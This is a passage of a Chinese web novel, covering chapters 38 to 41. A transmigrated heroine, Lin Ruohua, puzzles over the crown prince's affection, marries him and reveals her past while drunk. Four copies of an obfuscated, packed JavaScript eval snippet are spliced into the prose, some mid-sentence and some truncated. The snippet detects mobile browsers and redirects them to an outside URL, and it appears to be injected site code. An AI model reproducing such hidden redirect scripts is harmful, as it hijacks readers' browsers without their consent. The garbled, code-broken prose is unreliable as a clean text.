林兴业近日春风得意,望向大女儿时,不禁叮嘱道:“若华下月便要成婚了,行事要更稳重些。” 叶氏将一块肘子夹到她碗里:“多吃些,瞧你瘦的。宫里的嬷嬷可说了,大婚那日要穿好几层衣裳,没点力气可撑不住。” 林若华食不知味,肘子炖得再香,入口也如嚼蜡。 她嗯嗯啊啊地应着,眼神不知飘向何处。 林洛瑶坐在林若华身旁,冷眼看着这一幕,暗自不屑。 这个曾经被自己踩在脚下的人,如今成了全家的中心,连爹娘都要对她和颜悦色。 她快速吃完碗里的饭,接过丫鬟递来的帕子拭了拭唇角,起身回院,半路却被叫住。 “林洛瑶,啊,不对,妹妹。” 林洛瑶盯住两步便挡住去路的林若华,嘴角直抽抽,心头升起不妙之感:“林若华,你干嘛?” 林若华越想越想不通,随手就抓了身边的林洛瑶来问:“妹妹,你说太子殿下为什么喜欢我?” “林若华你有病吧!”林洛瑶差点跳起来,“你是不是故意的?你是不是故意在我面前显摆自己长得好看啊?是,你长得美,太子殿下就是看中你这张脸了,满意了吗?” 同样是林家的女儿,凭什么林若华就能一步登天?凭什么她就没有这么好的运气? “真的吗?”林若华下意识摸了摸自己的脸,随即又摇摇头,“太子殿下不是这样的人。” 林洛瑶:“……”你怎么不死啊你。 看着林洛瑶气呼呼离去的背影,林若华站在原地,更加困惑了。 她只能回到房间休息。 这一夜,林若华辗转难眠。 她在床上翻来覆去,怎么也睡不着。 最后猛地掀开被子坐起身:“不是,他到底为什么啊?” 第二日清晨,杜鹃端着铜盆进来时,看见林若华眼下两片青色,吓了一跳:“小姐昨夜没睡好?” “做了梦。”林若华含糊道。 杜鹃为林若华梳妆,在戴上那支桃花簪的时候,林若华盯着铜镜中的自己出神。 她不由得回想起萧长离将这首饰送给她的时候,现在想来,那天的萧长离眼神格外温柔,嘴角的笑意藏都藏不住。 “小姐?小姐?”杜鹃连唤两声。 林若华回过神来,梳妆完毕,她转头向身旁的杜鹃问道:“杜鹃,你说,若一男子赠女子桃花簪,代表什么?” 杜鹃闻言,捂着嘴轻笑起来,放下手时眼里还满是笑意:“小姐,还能是什么啊?自然是那位男子爱慕那位女子了。桃花象征姻缘,赠桃花簪便是表白心意。太子殿下待您可真上心。这簪子做工精致,怕是能工巧匠费了不少工夫。” 这是林若华第二次听到类似的话了。 “你怎知是太子殿下送给我的?”林若华问。 她并未告诉过他人啊。 “小姐呀,您日日戴着这簪子,任谁都瞧得出来呢。”杜鹃说得理所当然。 是吗? 林若华抬手摸了摸头上的簪子。 “可为何呢?太子殿下为何待我这般好?他为何喜欢我?”林若华仍是想不通。 “啊?小姐,您问我?”杜鹃愣了。 她自幼被卖进宫,在坤宁宫做些杂役,后来被皇后娘娘指到林小姐身旁伺候。 她也没有心上人,哪里懂得这些男女情爱之事? 杜鹃蹙眉犹豫了许久,才小心翼翼道:“许是……因小姐救过太子殿下,太子殿下才心生好感?话本子里不都这么写吗,英雄救美,救命之恩当以身相许。” 林若华:“?” 是不是哪里不对? 不会真的是见鬼的救命之恩吧。 到底是谁会因此爱上救命恩人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16845525|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊? 万一救他的是八十岁老太呢? 万一救他的是个彪形大汉? 难道也要娶回家当太子妃吗? 林若华闻言也蹙起眉来,主仆二人面面相觑,大眼瞪小眼,都是一脸困惑。 恰在此时,月季回来了,打破了这尴尬的气氛:“小姐,朱小姐回信了。她同意约见。” “好。”林若华点点头。 上次与朱琇云分别时,二人互留了通讯方式。 午饭吃得匆忙,林若华随意用了些,便乘马车向满香楼赶去。 还是上次的小二,还是上次的雅间。 推开门,朱琇云早已安坐在内。 “久等,我来晚了。”林若华道。 “不,是我来得早了些。”朱琇云起身相迎。 她脸上施了些粉,依旧掩不住憔悴:“林小姐请坐。” “快坐着吧,你气色不比上回好多少。”林若华走过去,坐在朱琇云身旁。 两人一边饮茶,一边聊起正事。 “你上回提的事,太子殿下答应了。”林若华放下茶杯。 朱琇云手中的茶杯一晃。 她连忙将杯子放下:“当、当真?” 本以为此生无望,如今有人告诉她,这不是妄想。 朱琇云激动得身形微颤。 林若华见状,连忙将茶杯递了过去:“你先喝口茶,缓缓。” 朱琇云接过茶杯,手微微颤抖,饮了一口后,又自己拍了拍胸口,这才渐渐平静下来,但眼中已泛起泪光。 她抬眼望向林若华,柔声道:“林小姐,多谢你。” 声音哽咽,感激之情溢于言表。 “不必言谢。”林若华轻声应道。 “林小姐,”朱琇云毕竟是心思细腻之人,很快察觉出林若华面色不佳,迟疑片刻,道,“你似有心事?今日前来,应不只是为了告知此事吧?” “我……确实有事想请教你。”林若华沉吟许久,终是开口,“你曾说过,太子殿下待我不同。可我实在不明白,他为何喜欢我?” 朱琇云静静地看着林若华,缓缓道:“情之一字,不知所起,亦不知所终” 她又叹:“《诗经》有云,‘既见君子,云胡不喜’,感情这种事,往往没有道理可言,何须缘由?他既能为你破例,可见待你真心。林小姐,我看得出来,你对太子殿下并非无意,为何如此困扰?” 林若华垂下眼帘。 眼前的茶杯中,映出自己模糊的倒影。 “你不明白,朱小姐,有些事,我难以言说。”林若华欲言又止,最终只化作一声叹息。 她总不能告诉朱琇云,自己并非这个世界的人。 她和萧长离,都是穿越的。 她无法说清,这份好感,究竟是因为哪一个人。 朱琇云见她这般模样,也不追问,只柔声道:“你何不亲自去问殿下?” “这几日,我不想见他。”林若华道。 她怕看见那双总是含笑的丹凤眼,怕看见笑意下的失落,更怕自己会稀里糊涂地接受这份好。 朱琇云思索片刻。 她拎起茶壶,为二人续茶,说道:“既然如此,我替你探一探太子殿下的口风。” 林若华抬头,有些犹豫:“这好吗?” “无妨。”朱琇云浅浅一笑,“我可请姑母相助。在姑母宫中,我借机试探几句。况且我此次能得太子殿下相助,也该亲自去感谢。” 林若华这才轻轻点头:“那,有劳朱小姐了。” “叫我琇云吧。”朱琇云端起茶杯,以茶代酒举了举,“你我虽相识不久,却助我圆夙愿,我不过是力所能及回报一二。” 林若华一笑,也举起茶杯,轻轻相碰。 二人又低声商议了一番,末了,朱琇云起身告辞。 走到门边时,她忽然回头,轻声说:“林小姐,我虽不知太子殿下为何喜欢你,但有一事我看得清楚。” 林若华正色。 “太子殿下与姑母说起你时,他自己或许都未曾察觉,可我看见了。他笑得很温柔。” 林若华独自坐在雅室内,手指又摸了摸头上的桃花簪。 “苏南,我们也回去吧。” 林若华对门外的苏南唤道。 39. 不见 朱琇云的效率出奇地高,距两人见面不过短短两日,林若华就收到了回信。 信是清晨送到的,林若华拆开一看,简单收拾后便直奔满香楼。 满香楼已开了门,年轻的小二正擦拭着桌椅。 见林若华进来,连忙殷勤引她上楼。 她去得有些早,独自在雅间等候,苏南守在门外。 茶杯拿起又放下,反复几次,杯中茶水一口未动。 林若华坐立不安,时不时抬头望向门口。 约莫过了一炷香时间,门外终于传来脚步声。 “琇云,你来了。”林若华的眸光在见到来人时瞬间亮了起来,脸上笑靥如花。 朱琇云被眼前明媚的笑容晃得一愣,站在门口竟有片刻失神。 那笑容如初升朝阳,连带着整个房间都亮了起来。 她似乎有些明白,太子殿下为何会钟情于林若华了。 林若华快步上前,牵住朱琇云的手:“琇云,这么快便办妥了?” “若华……”朱琇云垂下眼帘,避开林若华期盼的目光,心中更加愧疚,声音也不自觉低了下去:“事情并不顺利。” 林若华眉头微蹙,随即又松开,拉着朱琇云在桌边坐下,为她斟了一杯茶:“究竟如何?你慢慢说,不急。” 朱琇云双手捧着茶杯,沉默了片刻,最终轻叹一声,将昨日的情形缓缓道来。 “我回宫后,寻了个时机去见姑母,说是想答谢太子殿下相助之情,借此邀他前来,也好替你试探一二。姑母听了很是高兴,当即就派人去请太子殿下。” 林若华点点头,专注地看着她。 朱琇云顿了顿,抬眼望向林若华:“殿下他,似乎早已知晓我们见面之事,甚至猜到了我的意图。若华,我当真没有泄露半分,这个我可以对天发誓……” 说到最后,朱琇云的声音已是几不可闻。 先前信誓旦旦说要相助,可如今却没有办好。 “我信你。”林若华轻声道。 满香楼本是萧长离的产业,他知她们在此相见,并不意外。 “那他有没有说什么?”林若华又问。 朱琇云从随身携带的布包中取出一封信,递给林若华:“太子殿下只让我将这封信转交给你,还说……” 她犹豫了一下:“还说,婚前不便相见。” 林若华接过信,信依旧没有封口。 她抽出里面的信纸,展开一看,只有一句。 “前世注定的缘分。” 林若华将信放下,沉默良久。 朱琇云并未出声打扰,她想起昨日坤宁宫中的情景。 萧长离一袭朱色常服坐在一旁,听朱琇云说完那些感谢之辞,并未立即回应。 他垂眸摩挲着左手拇指上那枚翡翠扳指,侧脸隐在光影中,显得格外疏离,神色间似有倦怠。 连皇后都察觉出了异样,放下手中的茶盏,关切问道:“皇儿可是身子不适?本宫瞧你神色有异。” 萧长离这才抬眸,唇角轻扬:“母后不必挂心,只是婚期将近,礼部诸事繁杂,略有些分神。” 他说着,目光转向皇后身侧的朱琇云:“表妹近来与若华走得很近啊。” 萧长离的声音与神情都毫无变化,可朱琇云偏偏从这毫无起伏的一句话中,听出了一丝不悦。 皇后浑然未觉,反而含笑点头:“她们年纪相仿,能说到一处去,是好事。琇云性子静,若华活泼些,正好互补。” 朱琇云正欲顺势提起答应林若华之事,却见萧长离从袖中取出一封信,递到她面前。 “婚前孤不便与若华相见。你将此信带予孤的未婚妻,便可。” 最后“便可”二字,被萧长离咬重,像是叮嘱,像是警告。 朱琇云咬了咬唇,她明白了。 “我不明白。”林若华忽然轻笑一声。 如果是前世的缘分,那前世到底是为什么? 何导演没有必要骗她,前辈从没有给过回应,这也是事实。 无论是萧长离还是前辈,身上都藏着太多的秘密。 她以前没有深究,总觉得每个人都有不愿为人知的过往。 “可这到底为什么啊。”林若华喃喃道。 朱琇云看着林若华失神的模样,心中愧疚更甚:“对不住,若华,若是我能帮上忙……” 林若华摇了摇头,将那封信收好:“他若不愿说,任谁也问不出,这不怪你。” 两人又说了会儿话,朱琇云见林若华心不在焉,安慰了她几句,便适时告辞。 送走朱琇云后,林若华独自在雅间坐了许久,直到茶水彻底凉透,才起身离开。 回林府的马车上,林若华一直紧紧攥着那封信。 她闭上眼,脑海中交替出现两个身影,在某个瞬间,重叠在一起。 马车在林府门前停下,林若华怀揣着满腹心事,刚踏入厅堂,便见叶氏笑吟吟迎了上来。 林兴业上值未归,林洛瑶也不知去了哪里,只有叶氏和几个陌生的丫鬟在。 林若华:“?” 准没好事。 “若华回来了!”叶氏的笑容都要溢出来了,上前就要拉她的手,“母亲等你许久了。” 林若华不动声色地避开,淡淡道:“母亲有何事?” 叶氏也不尴尬,收回手,脸上笑容更盛:“这不是想着你马上要嫁入东宫了,身边总不能只带苏南那几个丫头。母亲特意为你挑了四个丫鬟,个个都是伶俐的,给你做陪房,日后在宫里也好有个照应。” 她侧身让开,露出身后站着的四名少女。 四人年纪都在十五六岁,年纪相仿,容貌姣好,但气质迥异。 从左到右,第一个杏眼圆脸,娇俏可爱,第二个柳眉鹅蛋脸,温婉端庄,第三个艳丽妩媚,眉眼间自带风情,最后一个虽姿色稍逊,但胜在气质极佳,一股书卷气。 林若华瞥了叶氏一眼,不知她从何处寻来的这些人。 这样精心挑选,用意昭然若揭。 林若华收回目光:“不必了,我带着苏南、杜鹃和月季她们就行。” 叶氏的笑脸僵了僵,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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回到自己居住的偏僻院子,林若华才长长吐出一口气。 杜鹃与月季迎上来,见她面色不好,杜鹃轻声问:“小姐,可是遇到烦心事了?” 林若华摇摇头,对杜鹃与月季道:“我歇一会儿,吃饭不必叫我了,你们也去休息吧。” 月季与杜鹃行礼告退,林若华独自坐在院中的石凳上出神。 苏南没有上前打扰,心结终须当事人自行解开。 不久,苏南见林若华忽然站起身来,大喊一声:“我讨厌谜语人!” 说罢转身回了房。 林若华走到衣柜前,没有让林家更换房中旧物,这衣柜还是那个掉了漆的。 打开柜门,从最底层取出一个木盒,打开盖子,里面整整齐齐放着一沓书信。 她将书信仔细整理好,把今天这封信也放进盒中。 这些,她是要一并带走的。 接着,林若华环顾四周,目光落在那些瓶瓶罐罐上,这些都是她的心血。 来不及细想了,她还有很多事要做。 大婚在即,她得抓紧时间完成青霉素的最后提纯。 这些瓶瓶罐罐,还有实验记录,都得妥善带走。 她挽起袖子,开始新一轮的工作。 当林若华终于捧着一瓶青霉素提取液从房中走出时,午后的阳光正好,她站在屋檐下,一手遮在眼前,眯起眼睛看向天空。 与此同时,萧长离走进净室,准备斋戒。 距离大婚,还有三日。 40. 大婚 十月初十,黄历上写着宜嫁娶,钦天监说这日子十全十美,是百年难遇的良辰吉日。 清晨,天还未亮。 萧长离已身着玄色衮冕,头戴九旒冕,手持玉圭,立于太庙之前。 身后的仪仗队肃立无声,唯有旗帜在风中猎猎作响。 礼官开始唱诵,萧长离依制行五拜三叩之礼,告祭天地宗庙。 与此同时,林府后院。 林若华正端坐在铜镜前,今日为她梳妆的不是杜鹃,是宫中特遣的宫女以及年长女官,加上为她穿戴礼服者,足足有二十余人,房间狭小,但人人有序,并不拥挤。 两位女官神色严肃,对房中一切置若罔闻。 有几位年轻的宫女,在踏入院子时眼中的诧异一闪而过,却也极快掩盖下来,脸上未显露半分。 梳头、盘发、戴金簪。 扑粉、描眉、涂胭脂。 层层叠叠的翟服穿上,沉甸甸的九翚四凤冠压下。 一切穿戴完后,其中一位女官终于露出两分笑意,开口赞道:“太子妃这般容貌气度,与太子殿下真是天造地设。” 林若华望向铜镜中的自己,比起平日的清冷,今日更显端庄。 鼓乐喧天传来时,日头已升得老高。 吉时将至,迎亲队伍浩浩荡荡而来,比下聘那日更加宏大。 百姓们早早挤满道路两侧,有骑在父亲肩头的孩童,孩童一手紧紧抱住父亲脑袋,一手指着队伍,满脸惊奇。 有挽着母亲手臂的少女,少女眼中流露出羡慕之情,时不时凑到母亲耳边低语。 有老者不禁感叹:“这场面,老夫活了八十载,只在幼年见过。” 众人议论纷纷,谈论着迎亲队伍,谈论着太子大婚,谈论着那位林家太子妃。 太子妃林若华在女官的搀扶下缓缓行至厅堂,林兴业与叶氏早已穿戴整齐等候,林洛瑶则站在叶氏身侧。 随后,林若华率家人跪迎宫中使者。 使者宣读诏书,内容无外乎是些夸赞林若华,立她为太子妃,要她好好干的话。 完后,林若华起身,向父母拜别。 “若华啊……”林兴业上前一步,紧紧握住女儿的手。 林若华眉头微微一挑,还真是第一次见这人热泪盈眶的模样。 这位往日只会在家里瞪眼、骂人、摔茶杯、捋胡须的男人此刻眼眶通红,双手颤抖,声音哽咽:“今日你入东宫后,须谨记三从四德,恪守妇道,尽心侍奉太子,光耀门楣……” 絮絮叨叨,情真意切地说着毫无新意的告诫之言。 叶氏拿起手帕,不停擦拭饱含泪水的眼角:“入、入了宫,要好、好生照顾自己啊,若、若华啊……” 这次她也是真的哭了出来,全然不见昔日虚伪刻薄,也完全看不出半月前她们还因陪嫁之事争执,仿佛真是一个舍不得女儿出嫁的母亲。 林洛瑶规规矩矩站在一旁,全程低眉顺目,不见半分刁蛮,随着父母的动作,脸上也适时露出不舍。 林若华配合地红了眼,与家人依依惜别,哽咽道:“女儿谨记父亲母亲教诲。” 心中默念:啊,论演员的自我修养,啊,这该死的敬业精神。 一家四口,看起来感情深厚,真是相亲相爱一家人啊。 女官适时上前搀扶,对林若华低声道:“太子妃,该上轿了。” 林若华最后看了林家人一眼,转身走向轿子。 随着轿帘落下,十六名抬轿人起身,仪仗队在奏乐声中,掉头向着皇宫走去。 轿子外热热闹闹,轿子内的林若华终于松了口气,从袖中取出一个白色小布包。 打开布包,里面是十来块做工一般的桃酥。 那是在出院子前,苏南塞进她手中的。 四目相对,苏南依旧是一脸冰冷,看不出丝毫情绪,林若华则微微颔首,快速将布包收进宽大的袖子里。 周围的女官和宫女显然瞧见了这个小动作,却都默契地选择视而不见,规矩是规矩,人情是人情。 小心放在嘴边,轻轻咬了一口,林若华眉头一皱。 好难吃啊,苏南,你在哪里买的? 林若华不知怎么的,突然想起了穿越后遇到的第一个人,那个小丫鬟,酥酪。 她也试图寻找过酥酪的家人,想要帮忙照顾一二,可却得知酥酪的家人都已不在人世。 林若华把桃酥放下,可婚礼的时间还很长,又只能无奈地拿起。 不知过了多久,人群的喧嚣慢慢消失。 刚入皇宫,她已吃完了所有桃酥。 仪仗队穿过一道道宫门,最终停在了东宫前。 待到林若华终于被引入寝殿,天色已将近黄昏。 殿内红烛高燃,床上撒满了红枣、花生、桂圆、莲子,寓意早生贵子。 头上的凤冠压得她脖颈酸痛,枣生桂子又硌得慌。 她试图调整坐姿,却立刻感受到女官锐利的目光,只好挺直腰背,继续保持端庄。 时间流逝,又不知等了多久,脚步声自殿外传来,由远及近。 林若华的心跳随着脚步声不由自主地加快。 门打开了,林若华抬眸看去,只见萧长离一身衮冕,烛光朦胧,为他在身上镀了一层暖色,衬得他愈发眉眼深邃,更加贵气逼人。 萧长离今日饮了不少酒,却步伐稳健,目光清明,一眼便看到端坐床沿的林若华。 盛装下的林若华面容精致如画,美得不似凡人,一时竟令萧长离有些恍惚。 他在门前停顿片刻,才缓步走近。 两人对视,谁也没有先开口。 一旁的女官不得不出声提醒:“请太子、太子妃行合卺礼。” 两人这才如梦初醒。 一人一半葫芦,以红线相连,盛着琥珀色的酒。 酒是合欢酒,醇香扑鼻。 萧长离拿起一半,林若华接过另一半,与萧长离手臂交缠,一同饮下。 一口入喉,味道甘甜,又带着微微苦涩。 礼成,女官含笑退下,轻轻合上房门,殿中只剩下红烛与二人作伴。 又是一阵沉默。 林若华慢慢低下头,看不清表情。 最后,还是萧长离看着一言不发的林若华,察觉不对,先开口道:“若华,你……没事吧?” 萧长离难得迟疑。 “有事!”林若华猛地抬起头。 萧长离这才看清,她整张脸都泛着不自然的红晕,眼睛亮得惊人,眼神却有些涣散。 林若华不会喝酒。 “你听我说,你……”喝醉了。 “你听我说!” 林若华把萧长离的话打断。 “我从天没亮就被拉起来,折腾到现在,就吃了苏南给的几块难吃的点心!饿得我前胸贴后背,还有这些……” 她一手指着满床的枣生桂子,忍不住上前几步,一把抓起床上几颗红枣桂圆,又气呼呼地丢回去:“这些东西硌死我了!我想挪一挪,一动就被瞪,那个女官就瞪我,眼珠子都快瞪出来了!” 萧长离怔住。 林若华却不管他,自顾自说下去:“我这些天,白天应付这个应付那个,还要做研究,晚上失眠睡不着,脸色差得跟鬼一样,憔悴得不得了,根本就不能看,简直像是连续值了十个夜班。” 林若华又指着自己的脸上比画了一圈:“全靠着脸上涂着的这些粉遮着的,厚啊!” 她越说越激动:“还有,平时还不能好好说话,不说白话,非得文绉绉的,我们这是古偶剧,编剧怎么想的,我就要说普通话。” 林若华说话的口气已经完全恢复成曾经的样子。 她长呼一口气:“我穿越到这个鬼地方以后,天天都在和他们演戏,今天出门的时候都没有停过。你知不知道,我没那么喜欢演戏,我一开始就是想当个医生而已。” 她转过身,背对着萧长离:“我爷爷奶奶,我外公外婆,都很疼我,可他们都在我很小的时候,陆续病了,又一个一个走了。城南的寺庙,城北的道观,都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16881715|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有用,一次都没有用。” 林若华轻笑一声,带着自嘲,“可下次我还是傻傻地去,傻傻地相信。” 萧长离静静地听着,没有说话。 “后来我知道了,我们家的人身体都不太好,我就想,那我当一个医生吧,我给爸爸妈妈看病。他们很高兴,说以后家里有个小医生,什么都不怕了,还说要天天锻炼身体,早睡早起,健康饮食,定期体检。” 他们确实做到了身体健康,可命运都是从不讲道理。 良久,她继续开口,声音渐渐低了下去:“五年前,我考上了首都最好的医学院,我们一家三口计划暑假去旅游,临行前他们出门说去买点蛋糕,路上吃,说很快就回来……” 她顿了顿,声音轻得几乎听不见了:“然后,再也没有回来。” 林若华停顿了很久,久到萧长离以为她不会再说了。 “是车祸。突然就剩我一个人了。我只能一边打工一边读书,我遇到过好人,也遇到过坏人……”她又笑了起来,嘲讽更加明显,“长得漂亮,无依无靠,早出晚归,什么难听话都听过。还好是在现代,在大城市,要是在古代,早被人啃得骨头渣滓都不剩了。” “我好不容易毕业了,实习期一个月四百块,是我倒贴给医院。爸妈留下的存款,再加上事故赔偿金,还不够还房贷。他们为了给长辈治病,已经卖了老房子,后来买的这套,还有十几年贷款。我算过,就算我拼命工作,等当上主任,房子也早就也被银行收走了。” 她摇摇头,又叹了一口气:“可是你知道吗?拍戏就不一样。我拍一部电视剧,就算是个小配角,挣的钱就够还好一阵子贷款。我的同学问我,我的老师问我,是不是真的不做医生了,我说学医救不了我的家。我家的房子不大,但是房子阳台上有爸妈种的玫瑰,他们走后的第一个春天,竟然开花了。我每天浇水,看着它们,就觉得他们还在。” “后来房贷快还清了,我就来了这里。我的玫瑰花,我的房子,我的家,还是没有了。”林若华肩膀微微颤抖,“为什么我那么努力,还是什么都留不住呢?” 她突然转身,直视着萧长离,目光灼灼:“见到你的时候,我很开心,以为终于遇到熟悉的人,可靠的人,可是我后来发现你不像他。我好不容易把你们分开,接受你们是两个人这件事,你又告诉我,你早就喜欢我,你那个时候就喜欢我……” 她咬紧下唇,走近几步,一字一顿道:“萧长离,前辈,萧肆……你能不能不要再耍我了?我真的很累了。” 萧长离张开嘴,话还未出口,林若华却突然身体一晃,酒意终于冲上头,加上一整日的疲惫,她眼前一黑,向前倒去。 萧长离伸手,将她稳稳接住,一摸额头,触手滚烫。 怀中的人双眼紧闭,呼吸绵长,竟是真的醉晕过去了。 萧长离低头看着她泛红的脸颊,长长叹了口气,又看了眼满床象征吉祥的干果,衣袖一挥尽数扫落,红枣、花生、桂圆、莲子滚了一地。 他小心地将林若华安置在床榻内侧,为她卸下沉重的凤冠,散开发髻。 林若华在睡梦中轻哼了一声,眉头舒展了些。 烛光下,林若华的睡颜渐渐恬静,与方才激动的模样判若两人。 萧长离坐在床沿,看了许久,终于低声开口:“我不是不告诉你,是怕一旦说了,你就会躲得远远的。有些话,真的难以启齿。” 不知是说给林若华听,还是在自言自语。 “我想等你自己发现,等你自己愿意,其实我们很早就认识了,可是你已经不记得了。” 萧长离伸出手,为林若华理了理几缕散落在额前的头发。 “睡吧。”他轻声说道。 萧长离起身脱下外袍,吹熄了殿内所有的蜡烛。 他又躺在林若华身侧,中间隔着距离。 寝殿彻底安静下来,只有两人轻轻的呼吸声。 待萧长离的呼吸变得绵长,本该醉倒的林若华却猛然睁开双眼,眸中一片清明,没有半分醉意。 41. 遗忘 林若华穿越前有一个奇怪的体质,一沾酒就醉。 醉是真醉,醒也醒得快,还能清楚记得醉酒时发生的事。 这秘密只有她和父母知道,父母过世后,就只剩她自己知道了。 曾经,她从不敢碰一滴酒。 没料到穿越之后,这奇怪的体质竟然也跟了过来。 不过某种意义上来说,她好像并没有更换身体。 若是能重来一次…… 那她也躲不过去啊,太子大婚,太子妃不饮合卺酒,这像话吗? 可眼下,又该怎么办? 她记得萧长离说的每一个字,记得他提到“我们很早就认识了”。 可林若华对此毫无印象。 她明明记得很清楚,他们就是因为这部古偶剧认识的,以前的的确确不曾见过面。 两人初次见面时还客气地打招呼,互相介绍,哪里有什么“很早就认识”的说法? 这究竟是怎么回事? 凭她阅遍小说电影电视剧的丰富经验,莫非…… 她失忆了?! 林若华瞪大眼睛,恨不得跳起来锤一下自己的脑袋。 头啊,你快想想啊! 可想了很久,想到五官皱成一团,脑中依然空空如也。 没有,至少在片场相遇之前,她的世界里从未有过这个人。 林若华伸手,想把眼前的萧长离摇醒,问个清楚。 可手指刚触摸到萧长离的被子,又蜷缩着收了回来。 此刻问,会不会让他误会自己是装醉来套话? 况且,萧长离也言明,他并不愿意多说。 林若华静静打量身旁仍在沉睡的萧长离,在睡梦,他的眉眼又柔和了许多。 既然如此,林若华轻轻叹了口气,先睡觉吧。 她折腾了一天,也的确累了,不多时,便再度进入梦乡。 林若华很清楚自己是在做梦。 因为九十斤的她一把推倒了一米八五的萧长离,还将萧玄鹤死死护在身后。 萧长离踉跄几步,倒地口吐鲜血。 倒地时,怀中还掉出一物。 一旁的苏南眼疾手快,立马拾起递了过来,冷冷说道:“小姐,姑爷身上掉落的玉佩,正是你幼时遗失的那块。” 林若华闻言,不可置信地回头看向萧玄鹤,萧玄鹤正抿着唇,装作一脸无辜。 她再惊慌望向倒地不起的萧长离,心头剧痛,伸出手,失声喊道:“长离!” “唤我做甚?” 耳畔传来熟悉嗓音,林若华猛地睁眼,正对上萧长离那双含笑的丹凤眼。 萧长离不知何时已经醒来,坐在床沿注视着她。 林若华一怔,这才想起梦中的一声呼喊。 “我……”她张了张口,一时不知该如何解释,那个梦也太丢人了。 萧长离却已起身,温声提醒道:“稍后该去拜见父皇母后了。婚后第一次觐见,莫要迟了。” 他的态度自然如常,仿佛昨夜醉酒的事从未发生。 林若华眨了眨眼,这才慌忙起身。 不多时,宫女们鱼贯而入,为二人梳洗更衣。 林若华穿衣时,她悄悄瞥向萧长离。 他也正由宫女伺候着更衣,神色如常,甚至在林若华偷看时,还在镜中对她微微一笑。 林若华又想起梦中的情景,忍不住暗自摇头。 为什么会梦见玉佩梗啊,她就该少看点狗血小说。 “若华,走吧。”收拾停当,萧长离朝她说道。 林若华轻轻点头。 二人并肩走出寝殿,穿过东宫回廊。 沿途所遇的宫人皆垂首行礼。 帝后已在坤宁宫正殿等候。 这是自上次糊弄老皇帝后,这是林若华第一回见他。 老皇帝看上去精神尚可,并无异常,就像是平日那样,威严中带着几分审视,见到他们进来,也只是微微颔首。 林若华与萧长离入内后,依礼跪拜。 “儿臣拜见父皇母后。” “儿媳拜见父皇母后。” “起来吧。”皇帝沉声,听不出喜怒。 倒是皇后格外热情,她连忙亲自扶起二人:“快起来快起来,昨日劳累一整日,可累坏了吧?本宫特意吩咐御膳房炖了些补身子的汤,一会儿给你们送去。” 她又拉着林若华的手,上下打量,笑得合不拢嘴:“嗯,气色不错,皇儿没有欺负你吧?” 林若华脸微微泛红:“母后说笑了。” 萧长离也笑着应答:“儿臣哪敢欺负若华。” 皇后满意地点头,又与林若华说了些体己话,无非是让她早日为皇家开枝散叶之类。 林若华只得低头装作羞涩。 正当林若华脸笑得快要僵住的时候,忽然听见皇后对皇帝道:“陛下,按规矩,太子妃是不用归宁的,但臣妾想着啊,若华刚入宫,不如特准她回家看看?以后啊,就只有召父母进宫了。” 太子妃归宁,需皇帝特旨,乃是殊荣。 林若华:“?” 大可不必对她这么好,她一点都不想回去。 果然,天不遂人愿。 皇帝只沉吟片刻,便点了点头道:“好,就依皇后所言。” 皇后转过头来,对林若华眨了眨眼,又有点得意地挑挑眉。 林若华:“……” 她知道皇后的想法了,这是让她回去打脸的,锦衣夜行有什么意思。 林家当初不重视她,如今她贵为太子妃,已不同往日,风风光光回去,自然是给那些人瞧瞧,曾经轻视过她的人,现在必须对她毕恭毕敬。 皇后这是在替她出气。 这份别样的心思,令林若华心中一暖。 “谢父皇母后恩典。”她再次行礼。 帝后又嘱咐几句,便让二人退下。 回到东宫,还没来得及喘口气,就有内侍来报,各宫妃嫔前来拜贺新婚。 最先来的是领着六公主的叶妃。 叶妃一如既往身穿白衣,面无表情,道出贺词也是一板一眼:“恭贺太子与太子妃新婚之喜,愿琴瑟和鸣,白头偕老。” 话语中依旧没有什么情绪。 林若华已习惯她这副模样,毕竟人家也非故意针对谁,性格使然,对皇帝也是这样。 六公主扁扁嘴,跟着小声说了句:“恭喜太子哥哥,恭喜太子妃嫂嫂。”。 看上去蔫蔫的,不太高兴。 “六妹着实可爱,你说是吧,太子妃。”萧长离忽然笑得温和,转头看了看林若华,又看向六公主。 六公主一见萧长离笑起来,就像是受了惊的兔子,一下躲到叶妃身后,又悄悄探出半张小脸,警惕地盯着萧长离。 林若华暗笑,萧长离有这么可怕吗? 她侧目看萧长离,见对方仍挂着浅笑。 “不得无礼。”叶妃容色未变,一把将女儿从身后拎出,“公主失仪,请太子、太子妃恕罪。” 六公主再不吭声,只低着头生气。 “叶妃娘娘言重了。六公主年纪尚小,正是天真烂漫的年纪。” 林若华笑得愈发和蔼可亲:“我做嫂嫂的也不知道送什么好,只有一套四书五经和注释,正适合六公主这个年纪读。” 她转头看向身旁人:“杜鹃,把我备的书拿来,送给六公主。” 六公主一听,抬起小脸,双眼瞪得滚圆,几乎要叫出声,可对上叶妃的眼神,又生生憋了回去,只得气鼓鼓地瞪着林若华。 叶妃微微颔首:“太子妃有心了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 